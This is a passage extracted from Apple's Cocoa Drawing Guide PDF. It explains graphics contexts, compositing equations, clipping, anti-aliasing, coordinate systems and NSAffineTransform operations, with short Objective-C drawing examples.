information. Color information is managed by the NSColor class. For more information, see “Setting Colors and Patterns” (page 31). Fill color Specifies the shadow attributes to apply to rendered content. You set shadows using the NSShadow class. For more information, see “Adding Shadows to Drawn Paths” (page 111). Shadow Specifies the technique used to map in-gamut colors to the gamut of the current color space. Cocoa does not support setting this attribute directly. Instead, you must use Quartz. For more information, see “Mapping Physical Colors to a Color Space” (page 72). Rendering intent Specifies the font to use when drawing text. You modify font information using the NSFont class. For more information on drawing text,see “Text Attributes” (page 127). Font name Specifiesthe fontsize to use when drawing text. You modify font information using the NSFont class. For more information on drawing text,see “Text Attributes” (page 127). Font size Specifiesthe characterspacing to use when drawing text. (This attribute issupported only indirectly by Cocoa.) For more information on drawing text, see “Text Attributes” (page 127). Font character spacing Specifies how to render the text. (This attribute is supported only indirectly by Cocoa.) For more information on drawing text, see “Text Attributes” (page 127). Text drawing mode Specifies the process used to interpolate images during rendering. You use the NSGraphicsContext class to change this setting. For more information, see “Image Size and Resolution” (page 80) Image interpolation quality Graphics Contexts Graphics Context Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 28Attribute Description Specifies the process used to composite source and destination material together. (The compositing operations supported by Cocoa are related to the Quartz blend modes but differ in their usage and behavior.) You use the NSGraphicsContext classto set the default value for thissetting. Some rendering methods and functions may let you specify a different option. For more information, see “Setting Compositing Options” (page 32). Compositing operation Specifies a global alpha (transparency) value to apply in addition to the alpha value for a given color. Cocoa does not support this attribute directly. If you want to set it, you must use the CGContextSetAlpha function in Quartz. Global alpha Specifies whether paths use aliasing to smooth lines asthey cross pixel boundaries. You use the NSGraphicsContext class to change this setting. For more information, see “Setting the Anti-aliasing Options” (page 37). Anti-aliasing setting Note: The winding rule used to fill paths is not stored as part of the current graphics state. You can set a default winding rule for NSBezierPath objects but doing so affects content rendered using those objects. For more information, see “Winding Rules” (page 141). Screen Canvases and Print Canvases In a broad sense, Cocoa graphics context objects serve two types of canvases: screen-based canvases and print-based canvases. A screen-based graphics context renders content to a window, view, or image with the results usually appearing on a screen. A print-based graphics context is used to render content to a printer spool file, PDF file, PostScript file, EPS file, or other medium usually associated with the printing system. For nearly all screen-based and print-based drawing, Cocoa provides an appropriate graphics context object automatically. Cocoa provides a graphics context object during all view updates and in response to the user printing a document. There are situations, however, where you must create a graphics context object manually, including the following: ● Using OpenGL commands to render your view content ● Drawing to an offscreen bitmap ● Creating PDF or EPS data ● Initiating a print job programmatically Using the class methods of NSGraphicsContext, you can create graphics context objects for drawing to screen-based canvases. You cannot use these methods for print-based canvas, however. Cocoa routes all printing operations through the Cocoa printing system, which handles the task of setting up the graphics Graphics Contexts Graphics Context Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 29context object for you. This means that if you want to generate PDF data, EPS data, or print to a printer, you must use the methods of the NSPrintOperation class to create a print job for your target. It also means that your views should provide some minimal printing support if you want to produce well-formatted output for print-based canvases. Note: Although Cocoa does provide some support for creating OpenGL graphics contexts automatically, the default pixel format options are usually limited. In most cases, you will want to create a custom OpenGL graphics context with the pixel format options you need for drawing. For more information, see “Creating an OpenGL Graphics Context” (page 166). You can determine the type of canvas being managed by the current graphics context using the isDrawingToScreen instance method or currentContextDrawingToScreen class method of NSGraphicsContext. For print-based canvases, you can use the attributes method to get additional information about the canvas, such as whether it is being used to generate a PDF or EPS file. For more information about obtaining contexts for both screen-based and print-based canvases, see “Creating Graphics Contexts” (page 38). Graphics Contexts and Quartz The NSGraphicsContext class in Cocoa is a wrapper for a Quartz graphics context (CGContextRef data type). Both types manage the same basic information, and in fact, many methods of NSGraphicsContext simply call their Quartz equivalents. This relationship makes it easy to perform any Quartz-related drawing in your application. It also means that any time you have a Cocoa graphics context (an instance of the NSGraphicsContext class), you have a Quartz graphics context as well. For information on how to use Cocoa graphics contexts to call Quartz functions, see “Using Quartz in Your Application” (page 162). Modifying the Current Graphics State In your view’s drawRect: method, one of the first things you may want to do is modify the current drawing environment. For example, you might want to configure the current drawing colors, modifying the clipping region, transform the coordinate system, and so on. Many attributes can be set directly using the methods of NSGraphicsContext but some require the use of other objects. The following sections list the available drawing attributes and how you modify them. Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 30Important: Saving and restoring the current graphics state is a relatively expensive operation that should done as little as possible. In general, you should try to save and restore the graphics state only to undo several changes at once or when there is no alternative, such as to reset the clipping path. For individual changes, setting a new value directly is often more efficient than saving and restoring the entire graphics state. Setting Colors and Patterns Cocoa providessupport for colorsin a variety of different colorspaces. The NSColor classsupports RGB, CMYK, and grayscale color spaces by default but can also support custom color spaces defined by ICC and ColorSync profiles. The colors you specify include the color channels appropriate for the color space and an optional alpha component to define the transparency of the color. To set the currentstroke or fill attributes, create an NSColor object and send it a set, setStroke, or setFill message. The stroke and fill attributes define the color or pattern for paths and the areas they enclose. The currentstroke and fill colors affect all drawn content except text, which requiresthe application of text attributes; see “Applying Color to Text” (page 70). For more information about colors and how to create them, see “Color and Transparency” (page 65). Setting Path Attributes To modify the value of path attributes, you use the NSBezierPath class. Using the methods of this class, you can set the line width, line join style, line dash style, line cap style, miter limit, flatness, and winding rule attributes. All of these attributes affect the way paths are rendered by Cocoa. Path attributes come in two flavors: global and path-specific. When you use the class methodsin NSBezierPath to set the "default" value for an attribute, you are setting the global attribute. Global attributes are global to path objects (as opposed to the graphics state), so setting a global attribute affects all paths you render using the NSBezierPath class, but does not affect Quartz-based paths. To override a global attribute for an individual path object, you should set a path-specific value. For example, to set the global line width, you use the setDefaultLineWidth: class method of NSBezierPath. To set the line width for a specific NSBezierPath object, you use its setLineWidth: instance method. For information on how to set both default and path-specific attributes, and to see the resulting appearance of rendered content, see “Path Attributes” (page 133). Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 31Setting Text Attributes For most string-based drawing in Cocoa, you apply text attributes directly to the strings, rather than relying on the global font settings. The Cocoa string objects and the Cocoa text system both support the use of attributesfor modifying the appearance ofstring. For NSAttributedString objects, you apply the attributes directly to character ranges in the string. For regular NSString objects, you apply the attributes to the entire string when you draw it. If you want to set the global fontsettingsstored in the graphicsstate, perhapsfor drawing strings using Quartz, you can use the NSFont object to set the font family and size. After creating a font object, you use its set method to apply the font information to the current graphics state. For more information about drawing options for text, see “Text” (page 127). For more information about the Cocoa text system, see Cocoa Text Architecture Guide . Setting Compositing Options When you render each visual element, you need to decide how that element interacts with any surrounding content. You might want the element to be layered on top of or behind the current content or be merged with it in interesting ways. You specify this behavior using different compositing options. Compositing options specify how the colors in source content are blended with the existing content in the drawing destination. With fully opaque colors, most compositing optionssimply mask or overlay different parts of the source and destination content. With partially transparent colors, however, you can achieve interesting blending effects. The Cocoa compositing options differ from the blend modes used in Quartz, although the two perform basically the same task. The Cocoa options are inherited from the NextStep environment, whereas the Quartz blend modes are part of the newer PDF-based rendering model. Despite their historical legacy, the Cocoa options are still a very powerful way to composite content, and may even be a little easier to understand than their Quartz counterparts. Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 32Important: Despite their similarities, there is no direct mapping between the Cocoa compositing options and the Quartz blend modes. In addition, when drawing to a print-based canvas, you should use only the NSCompositeCopy or the NSCompositeSourceOver operators. (For PDF content, you should use only the NSCompositeSourceOver operator or the Quartz blend modes.) If you need to use any other compositing operators, you should render your content to an image and then draw the image to the printing context using one of the supported operators. If your application relies heavily on PDF blend modes, you may want to use Quartz for your drawing instead. Figure 2-1 shows the Cocoa compositing options and how they affect rendered content. At the top of the figure are the source and destination content being rendered. The veins of the leaf are completely transparent while the rest of the leaf is opaque. In the destination image, the color is rendered at partial opacity. Below that are the results for each of the supported compositing operations. Figure 2-1 Compositing operations in Cocoa Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 33Table 2-2 lists the mathematical equations used to compute pixel colors during compositing operations. In each equation, R is the resulting (premultiplied) color, S is the source color, D is the destination color, Sa is the alpha value of the source color, and Da is the alpha value of the destination color. All color component values and alpha values are in the range 0 to 1 for these computations. Table 2-2 Mathematical equations for compositing colors Para Para NSCompositeClear R = 0 NSCompositeCopy R = S NSCompositeSourceOver R = S + D*(1 - Sa) NSCompositeSourceIn R = S*Da NSCompositeSourceOut R = S*(1 - Da) NSCompositeSourceAtop R = S*Da + D*(1 - Sa) NSCompositeDestinationOver R = S*(1 - Da) + D NSCompositeDestinationIn R = D*Sa NSCompositeDestinationOut R = D*(1 - Sa) NSCompositeDestinationAtop R = S*(1 - Da) + D*Sa NSCompositeXOR R = S*(1 - Da) + D*(1 - Sa) NSCompositePlusDarker R = MAX(0, (1 - D) + (1 - S)) NSCompositePlusLighter R = MIN(1, S + D) To set the current compositing operation, you use the setCompositingOperation: method of NSGraphicsContext. This sets the global compositing option to use if no other operator is specified. The default compositing option is NSCompositeSourceOver. Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 34Setting the Clipping Region The clipping region is a useful way to limit drawing to a specific portion of your view. Instead of creating complex graphics offscreen and then compositing them precisely in your view, you can use a clipping region to mask out the portions of your view you do not want modified. For example, you might use a clipping region to prevent drawing commands from drawing over some already rendered content. Similarly, you might use a clipping region to cut out specific portions of an image you want to render. Before invoking your view’s drawRect: method, Cocoa configures the clipping region of the current graphics context to match the visible area of your view. This prevents your view's drawing code from rendering content outside of your view's boundaries, possibly on top of other views. You can restrict the drawable region of your view even further by adding shapesto the current clipping region. Whenever you add a new shape to the current clipping region, Cocoa determinesthe intersection of the shape with the current clipping region and uses the result as the new clipping region. This behavior means that you should generally add only one shape to the clip region before doing your drawing. The shape you add can be a single rectangle, multiple rectangles, or a combination of multiple complex subpathsin a single NSBezierPath object. For simple rectangular shapes, the easiest way to clip is using the NSRectClip function. To specify multiple rectangular regions, use the NSRectClipList function instead. To clip your view to a nonrectangular region, you must use an NSBezierPath object. The path you create can be arbitrarily complex and include multiple rectangular and nonrectangular regions. Once you have the path you want, use the object’s addClip method to add the resulting shape to the current clipping region. (For information on how to create paths,see “Drawing Fundamental Shapes” (page 144).) Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 35Figure 2-2 shows the effects of applying a clipping path to an image. The top images show the image to be clipped and the path to use for the clip shape, which in this case consists of two shapes inside a single NSBezierPath object. Although the clip shape is the same in both cases, the resulting clip region is different. This is because clipping takes into account the current winding rule when calculating the clipping region. Figure 2-2 Clipping paths and winding rules The following example shows you how to create the clip region shown in Figure 2-2. The clip region is composed of an overlapping square and circle, so you simply add a rectangle and oval with the appropriate sizes to a Bezier path object and call the addClip method. // If you plan to do more drawing later, it's a good idea // to save the graphics state before clipping. [NSGraphicsContext saveGraphicsState]; // Create the path and add the shapes NSBezierPath* clipPath = [NSBezierPath bezierPath]; [clipPath appendBezierPathWithRect:NSMakeRect(0.0, 0.0, 100.0, 100.0)]; Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 36[clipPath appendBezierPathWithOvalInRect:NSMakeRect(50.0, 50.0, 100.0, 100.0)]; // Add the path to the clip shape. [clipPath addClip]; // Draw the image. [NSGraphicsContext restoreGraphicsState]; Warning: Although you can also use the setClip method of NSBezierPath to modify the clipping region, doing so is not recommended. The setClip method replaces the entire clipping region with the area you specify. If the new clipping region extends beyond the bounds of your view, this could lead to portions of your content spilling over into neighboring views. Setting the Anti-aliasing Options Cocoa graphics contextssupport anti-aliasing in the same way that their Quartz counterparts do. Anti-aliasing is the process of artificially correcting the jagged (or aliased) edges surrounding text or shapes in bitmap images. These jagged edges occur primarily in lower-resolution bitmaps where it is easier to see individual pixels. To remove the jagged edges, Cocoa uses different colors for the pixels that surround a shape’s outline. Graphics Contexts Modifying the Current Graphics State 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 37The colors it uses are a blend of the original pixel color and the color of the shape’s outline. By blending colors in this way, the edges of the shape appear much smoother. Figure 2-3 shows the same image aliased and anti-aliased. Figure 2-3 A comparison of aliased and anti-aliased content To enable or disable anti-aliasing, use the setShouldAntialias: method of NSGraphicsContext. Even with anti-aliasing disabled, it may still appears as if Cocoa is drawing content using aliasing. When drawing content on non-pixel boundaries, Cocoa may opt to split the line over multiple pixels, which can give the impression of aliasing. For more information about how to avoid this situation, see “Doing Pixel-Exact Drawing” (page 61). Creating Graphics Contexts The type of drawing you do in your application will determine whether you need to create any graphics context objects explicitly orsimply use the one Cocoa provides you. If all you do is draw in your views, you can probably just use the Cocoa-provided context. This is true both for screen-based and print-based drawing. If your application performs any other type of drawing, however, you may need to create a graphics context yourself. The following sections provide information on how and when to create Cocoa graphics contexts for your content. Graphics Contexts Creating Graphics Contexts 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 38Creating a Screen-Based Context If you want to do any drawing outside of the normal update cycle of your view, you must create a graphics context object explicitly. You might use this technique to draw in an offscreen window or bitmap and then copy the resulting bits elsewhere. You could also use it to draw to a window from a secondary thread. The NSGraphicsContext classincludes methodsfor creating new graphics context objectsspecifically for windows and bitmap images. To draw to a window, you can use the graphicsContextWithWindow: method of NSGraphicsContext. The context you get back is initialized to the window itself, and not to a specific view. In fact, you may not want to use this technique if the window contains many subviews. In order to draw the views properly, you would need to walk the list of subviews manually and configure the drawing environment for each one, which is not recommended. Instead, you would use this technique for drawing to an offscreen buffer. Important: Because most OS X windows are already double-buffered, do not use offscreen windows or bitmaps simply to update the contents of a window. Doing so wastes memory (by adding a third buffer) and requires an extra copy operation to transfer the bits from the offscreen window to the window buffer. To draw to a bitmap, you have two options. If your code runs in OS X v10.4 and later, you can use the graphicsContextWithBitmapImageRep: method to create a context object focused on an NSBitmapImageRep object. The drawing you do is then rendered directly to the bitmap. If your code must run on earlier versions of OS X, you must either lock focus on a view or use an offscreen window and then capture the contents of the view or window. For information and examples on how to create bitmaps, see “Creating a Bitmap” (page 89) Creating a PDF or PostScript Context Unlike screen-based contexts, if you want to create a graphics context for a PDF, EPS, or print-based canvas, you do not do so directly. All print-based operations must go through the Cocoa printing system, which handles the work required for setting up the printed pages and running the print job. The simplest way to create a PDF or EPS file is to use the dataWithPDFInsideRect: and dataWithEPSInsideRect: methods of NSView. These methods configure a print job automatically and use your view's existing drawing code to generate the PDF or EPS data. For more information and an example of how to use these methods, see “Creating a PDF or EPS Image Representation” (page 93). To create a print job manually, you use the NSPrintOperation class. This class offers several class methods for creating print jobs for a particular view and outputting the job to a printer, PDF file, or EPS file. Once you have an instance of the NSPrintOperation class, you can set the print information and use the runOperation method to start the print job, at which point Cocoa takes over. Graphics Contexts Creating Graphics Contexts 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 39Important: You cannot create a viable graphics context for PDF or PostScript canvases using the graphicsContextWithAttributes: method. You must go through the Cocoa Printing system instead. During the execution of a print job, Cocoa calls several methods of your view to handle page layout and drawing. These methods are called for all printing paths, so implementing them for printing will also support PDF and EPS. For information on how to implement these methods, see Printing Programming Guide for OS X . Threading and Graphics Contexts The Application Kit maintains a unique graphics context for each window and thread combination. Because each thread has its own graphics context object for a given window, it is possible to use secondary threads to draw to that window. There are some caveats, however. During the normal update cycle for windows, all drawing requests are sent to your application’s main thread for processing. The normal update cycle happens when a user event triggers a change in your user interface. In this situation, you would call the setNeedsDisplay: or setNeedsDisplayInRect: method (or the display family of methods) from your application’s main thread to invalidate the portions of your view that require redrawing. You should not call these methods from any secondary threads. If you want to update a window or view from a secondary thread, you must manually lock focus on the window or view and initiate drawing yourself. Locking focus configures the drawing environment for that window's graphics context. Once locked, you can configure the drawing environment, issue your drawing commands as usual, and then flush the contents of the graphics context to the window buffer. In order to draw regularly on a secondary thread, you must notify the thread yourself. The simplest way to send regular notifications is using an NSTimer or NSAnimation object. For more information on how to animate content, see “Advanced Drawing Techniques” (page 111). Creating bitmaps on secondary threads is one way to thread your drawing code. Because bitmaps are self-contained entities, they can be created safely on secondary threads. From your thread, you would need to create the graphics context object explicitly (as described in “Creating a Screen-Based Context” (page 39)) and then issue drawing calls to draw into the bitmap buffer. For more information on how to create bitmaps, including sample code, see “Creating a Bitmap” (page 89). Important: Although drawing on secondary threads is allowed, you should always handle events and other user-requested actions from your application’s main thread only. Using multiple threads to handle events can lead to processing those events out of sequence, which can cause inconsistencies in your application’s behavior. Graphics Contexts Threading and Graphics Contexts 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 40Coordinate spaces simplify the drawing code required to create complex interfaces. In a standard Mac app, the window represents the base coordinate system for drawing, and all content must eventually be specified in that coordinate space when it is sent to the window server. For even simple interfaces, however, it is rarely convenient to specify coordinates relative to the window origin. Even the location of fixed items can change and require recalculation when the window resizes. This is where Cocoa makes things simple. Each Cocoa view you add to a window maintains its own local coordinate system for drawing. Rather than convert coordinate valuesto window coordinates, you simply draw using the local coordinate system, ignoring any changes to the position of the view. Before sending your drawing commands to the window server, Cocoa automatically corrects coordinate values and puts them in the base coordinate space. Even with the presence of local coordinate spaces, it is often necessary to change the coordinate space temporarily to affect certain behaviors. Changing the coordinate space is done using mathematical transformations (also known as transforms). Transforms convert coordinate values from one coordinate space to another. You can use transforms to alter the coordinate system of a view in a way that affects subsequent rendering calls, or you can use them to determine the location of points in the window or another view. The following sections provide information about how Cocoa manages the local coordinate systems of your views and how you can use transforms to affect your drawing environment. Coordinate Systems Basics Cocoa and Quartz use the same base coordinate system model. Before you can draw effectively, you need to understand this coordinate space and how it affects your drawing commands. It also helps to know the ways in which you can modify the coordinate space to simplify your drawing code. Local Coordinate Systems Cocoa uses a Cartesian coordinate system asits basic model forspecifying coordinates. The origin in thissystem is located in the lower-left corner of the current drawing space, with positive values extending along the axes up and to the right of the origin point. The root origin for the entire system is located in the lower-left corner of the screen containing the menu bar. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 41 Coordinate Systems and TransformsIf you were forced to draw all your content in screen coordinates—the coordinate system whose origin is located at the lower-left corner of the computer’s primary screen—your code would be quite complex. To simplify things, Cocoa sets up a local coordinate system whose origin is equal to the origin of the window or view that is about to draw. Subsequent drawing calls inside the window or view take place relative to this local coordinate system. Once the code finishes drawing, Cocoa and the underlying graphics system convert coordinates in the local coordinates back to screen coordinates so that the content can be composited with content from other applications and sent to the graphics hardware. Note: If a computer has multiple monitors attached, those monitors can be set to mirror each other or to display one contiguous desktop. In mirroring mode, every screen has an origin of (0, 0). In contiguous mode, one screen has an origin of (0, 0) but other screens have origins that are offset from that of the first screen. Figure 3-1 shows the coordinate-system origin points of the screen, a window, and a view. In each case, the value to the bottom-left of each point is the coordinate measured in its parent coordinate system. (The screen does not have a parent coordinate system, so both coordinate values are 0). The window’s parent is the screen and the view’s parent is the window. Figure 3-1 Screen, window, and view coordinate systems on the screen Coordinate Systems and Transforms Coordinate Systems Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 42Mapping from screen coordinatesto local window or view coordinatestakes place in the current transformation matrix (CTM) of the Cocoa graphics context object. Cocoa applies the CTM automatically to any drawing calls you make,so you do not need to convert coordinate values yourself. You can modify the CTM though to change the position and orientation of the coordinate axesinside your view. (For more information,see “Transformation Operations” (page 46).) Points Versus Pixels The drawing system inOS X is based on a PDF drawing model, which is a vector-based drawing model. Compared to a raster-based drawing model, where drawing commands operate on individual pixels, drawing commands in OS X are specified using a fixed-scale drawing space, known as the user coordinate space. The system then maps the coordinates in this drawing space onto the actual pixels of the corresponding target device, such as a monitor or printer. The advantage of this model is that graphics drawn using vector commands scale nicely to any resolution device. As the device resolution increases, the system is able to use any extra pixels to create a crisper look to the graphics. In order to maintain the precision inherent with a vector-based drawing system, drawing coordinates are specified using floating-point values instead of integers. The use of floating-point values for OS X coordinates makes it possible for you to specify the location of your program's content very precisely. For the most part, you do not have to worry about how those values are eventually mapped to the screen or other output device. Instead, Cocoa takes care of this mapping for you. Even though the drawing model is based on PDF, there are still times when you need to render pixel-based content. Bitmap images are a common way to create user interfaces, and your drawing code may need to make special adjustmentsto ensure that any bitmap images are drawn correctly on different resolution devices. Similarly, you may want to ensure that even your vector-based graphics align properly along pixel boundaries so that they do not have an anti-aliased appearance. OS X provides numerous facilities to help you draw pixel-based content the way you want it. The following sections provide more detail about the coordinate spaces used for drawing and rendering content. There also follows some tips on how to deal with pixel-specific rendering in your drawing code. User Space The user coordinate space in Cocoa is the environment you use for all your drawing commands. It represents a fixed scale coordinate space, which means that the drawing commands you issue in this space result in graphics whose size is consistent regardless of the resolution of the underlying device. Units in the user space are based on the printer's point, which was used in the publishing industry to measure the size of content on the printed page. A single point is equivalent to 1/72 of an inch. Points were adopted by earlier versions of Mac OS as the standard resolution for content on the screen. OS X continues to use the same effective “resolution” for user-space drawing. Coordinate Systems and Transforms Coordinate Systems Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 43Although a single point often corresponded directly to a pixel in the past, in OS X, that may not be the case. Points are not tied to the resolution of any particular device. If you draw a rectangle whose width and height are exactly three points, that does not mean it will be rendered on the screen as a three-pixel by three-pixel rectangle. On a 144 dpi screen, the rectangle might be rendered using six pixels per side, and on a 600-dpi printer, the rectangle would require 25 pixels per side. The actual translation from points to pixels is device dependent and handled for you automatically by OS X. For all practical purposes, the user coordinate space is the only coordinate space you need to think about. There are some exceptions to this rule, however, and those are covered in “Doing Pixel-Exact Drawing” (page 61). Device Space The device coordinate space refers to the native coordinate space used by the target device, whether it be a screen, printer, file, or some other device. Units in the device coordinate space are specified using pixels and the resolution of this space is device dependent. For example, most monitors have resolutions in the 100 dpi range but printers may have resolutions exceeding 600 dpi. There are some devices that do not have a fixed resolution, however. For example, PDF and EPS files are resolution independent and can scale their content to any resolution. For Cocoa users, the device coordinate space is something you rarely have to worry about. Whenever you generate drawing commands, you always specify positions using user space coordinates. The only time that you might need to know about device space coordinates is when you are adjusting your drawn content to map more cleanly to a specific target device. For example, you might use device coordinates to align a path or image to specific pixel boundaries in order to prevent unwanted anti-aliasing. In such a situation, you can adjust your user space coordinates based on the resolution of the underlying device. For information on how to do this, see “Doing Pixel-Exact Drawing” (page 61) Resolution-Independent User Interface In OS X v10.4 and earlier, Quartz and Cocoa always treated screen devices as if their resolution were always 72 dpi, regardless of their actual resolution. This meant that for screen-based drawing, one point in user space was always equal to one pixel in device space. As screens advanced well past 100 dpi in resolution, the assumption that one point equaled one pixel began to cause problems. Most noticeably, everything became much smaller. In OS X v10.4, the first steps at decoupling the point-pixel relationship took place. In OS X v10.4, support was added for resolution independence in application user interfaces. The initial implementation of this feature provides a way for you to decouple your application’s user space from the underlying device space manually. You do this by choosing a scale factor for your user interface. The scale factor causes user space content to be scaled by the specified amount. Code that is implemented properly for resolution independence should look fine (albeit bigger). Code that is not implemented properly may see Coordinate Systems and Transforms Coordinate Systems Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 44alignment problems or pixel cracks along shape boundaries. To enable resolution independence in your application, launch Quartz Debug and choose Tools > Show User Interface Resolution, then set your scale factor. After changing the resolution, relaunch your application to see how it responds to the new resolution. For the most part, Cocoa applicationsshould not have to do anything special to handle resolution-independent UI. If you use the standard Cocoa views and drawing commands to draw your content, Cocoa automatically scales any content you draw using the current scale factor. For path-based content, your drawing code should require little or no changes. For images, though, you may need to take steps to make sure those images look good at higherscale factors. For example, you might need to create higher-resolution versionsto take advantage of the increased screen resolution. You might also need to adjust the position of images to avoid pixel cracks caused by images being drawn on non-integral pixel boundaries. For tips on how to make sure your content draws well at any resolution, see “Doing Pixel-Exact Drawing” (page 61). For more information about resolution independence and how it affects your code, see High Resolution Guidelines for OS X . Transform Basics Transforms are a tool for manipulating coordinates (and coordinate systems) quickly and easily in your code. Consider a rectangle whose origin is at (0, 0). If you wanted to change the origin of this rectangle to (10, 3), it would be fairly simple to modify the rectangle’s origin and draw it. Suppose, though, that you wanted to change the origin of a complex path that incorporated dozens of points and several Bezier curves with their associated control points. How easy would it be to recalculate the position of each point in that path? It would probably take a lot of time and require some pretty sophisticated calculations. Enter transforms. A transform is two-dimensional mathematical array used to map points from one coordinate space to another. Using transforms, you can scale, rotate, and translate content freely in two-dimensional space using only a few methods and undo your changes just as quickly. Support for transformsin Cocoa is provided by the NSAffineTransform class. The following sections provide background information about transforms and their effects. For additional information about how to use transforms in your code, see “Using Transforms in Your Code” (page 51). The Identity Transform The simplest type of transform is the identity transform. An identity transform maps any point to itself—that is, it does not transform the point at all. You always start with an identity transform and add transformations to it. Starting with the identity transform guarantees that you start from a known state. To create an identity transform, you would use the following code: Coordinate Systems and Transforms Transform Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 45NSAffineTransform* identityXform = [NSAffineTransform transform]; Transformation Operations For two-dimensional drawing, you can transform content in several different ways, including translating,scaling, and rotating. Transforms modify the coordinate system for the current drawing environment and affect all subsequent drawing operations. Before applying a transform, it is recommended that you save the current graphics state. The following sections describe each type of transformation and how it affects rendered content. Translation Translation involvesshifting the origin of the current coordinate system horizontally and vertically by a specific amount. Translation is probably used the most because it can be used to position graphic elements in the current view. For example, if you create a path whose starting point is always (0, 0), you could use a translation transform to move that path around your view, as shown in Figure 3-2. Figure 3-2 Translating content To translate content, use the translateXBy:yBy: method of NSAffineTransform. The following example changes the origin of the current context from (0, 0) to (50, 20) in the view's coordinate space: NSAffineTransform* xform = [NSAffineTransform transform]; [xform translateXBy:50.0 yBy:20.0]; [xform concat]; Coordinate Systems and Transforms Transform Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 46Scaling Scaling lets you stretch or shrink the units of the user space along the x and y axes independently. Normally, one unit in user space is equal to 1/72 of an inch. If you multiple the scale of either axis by 2, one unit on that axis becomes equal to 2/72 of an inch. This makes content drawn with scale factors greater than 1 appear magnified and content drawn with scale factors less than 1 appear shrunken. Figure 3-3 shows the effects of scaling on content. In the figure, a translation transform has already been applied so that the origin is located at (1, 1) in the original user space coordinate system. After applying the scaling transform, you can see the modified coordinate system and how it maps to the original coordinate system. Figure 3-3 Scaling content Although you might normally scale proportionally by applying the same scale factor to both the horizontal and vertical axes, you can assign different scale factors to each axis to create a stretched or distorted image. To scale content proportionally, use the scaleBy: method of NSAffineTransform. To scale content differently along the X and Y axes, use the scaleXBy:yBy: method. The following example demonstrates the scale factors shown in Figure 3-3: NSAffineTransform* xform = [NSAffineTransform transform]; [xform scaleXBy:2.0 yBy:1.5]; [xform concat]; Coordinate Systems and Transforms Transform Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 47Note: Scaling does not change the origin of the coordinate system. Rotation Rotation changes the orientation of the coordinate axes by rotating them around the current origin, as shown in Figure 3-4. You can change the orientation through a full circle of motion. Figure 3-4 Rotated content To rotate content, use the rotateByDegrees: or rotateByRadians: methods of NSAffineTransform. Positive rotation values proceed counterclockwise around the current origin. For example, to rotate the current coordinate system 45 degrees around the current origin point (as shown in Figure 3-4), you would use the following code: NSAffineTransform* xform = [NSAffineTransform transform]; [xform rotateByDegrees:45]; [xform concat]; Note: Combining a non-uniform scaling transform with a rotation transform can also give your content a skewed effect. Transformation Ordering The implementation of transforms uses matrix multiplication to map an incoming coordinate point to a modified coordinate space. Although the mathematics of matrices are covered in “Transform Mathematics” (page 50), an important factor to note is that matrix multiplication is not always a commutative operation—that is, a times b does not always equal b times a. Therefore, the order in which you apply transforms is often crucial to achieving the desired results. Coordinate Systems and Transforms Transform Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 48Figure 3-5 shows the two transformations applied to a path in two different ways. In the top part of the figure, the content is translated by 60 points along the X axis and then rotated 45 degrees. In the bottom part of the figure, the exact same transformations are reversed with the rotation preceding the translation. The end result is two different coordinate systems. Figure 3-5 Transform ordering The preceding figure demonstrates the key aspect of transformation ordering. Each successive transformation is applied to the coordinate system created by the previous transformations. When you translate and then rotate, the rotation begins around the origin of the translated coordinate system. Similarly, when you rotate and then translate, the translation occurs along the axes of the rotated coordinate system. For transformations of the same type, the order of the transformations does not matter. For example, three rotationsin a row creates a coordinate system whose final rotation is equal to the finalsum of the three rotation angles. There may be other cases (such as scaling by 1.0) where the order of the transforms does not matter, but you should generally assume that order is significant. Coordinate Systems and Transforms Transform Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 49Transform Mathematics All transform operations contribute to the building of a mathematical matrix that is then used by the graphics system to compute the screen location of individual points. The NSAffineTransform class uses a 3 x 3 matrix to store the transform values. Figure 3-6 showsthis matrix and identifiesthe key factors used to apply transforms. The m11 , m12 , m21 , and m22 values control both the scaling and rotation factors while t x and t y control translation. Figure 3-6 Basic transformation matrix Using linear algebra, it is possible to multiply a coordinate vector through the transform matrix to obtain a new coordinate vector whose position is equal to the original point in the new coordinate system. Figure 3-7 shows the matrix multiplication process and the resulting linear equations. Figure 3-7 Mathematical conversion of coordinates Coordinate Systems and Transforms Transform Basics 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 50If you are already familiar with transform structures and the mathematics, you can set the values of a transform matrix directly using the setTransformStruct: method of NSAffineTransform. This method replaces the six key transform values with the new ones you specify. Replacing all of the values at once is much faster than applying individual transformations one at a time. It does require you to precompute the matrix values, however. Formore information aboutthemathematics behindmatrixmultiplications,seeQuartz 2DProgrammingGuide . Using Transforms in Your Code When it is time to draw, the code in your view’s drawRect: method must determine where to draw individual pieces of content. The position of some elements, such as images and rectangles, can be specified easily, but for complex elements like paths, transforms are an easy way to change the current drawing location. Creating and Applying a Transform To create a new transform object, call the transform class method of NSAffineTransform. The returned transform object is set to the identity transform automatically. After you have added all of the desired transformations to the transform object, you call the concat method to apply them to the current context. Calling concat adds your transformations to the CTM of the current graphics context. The 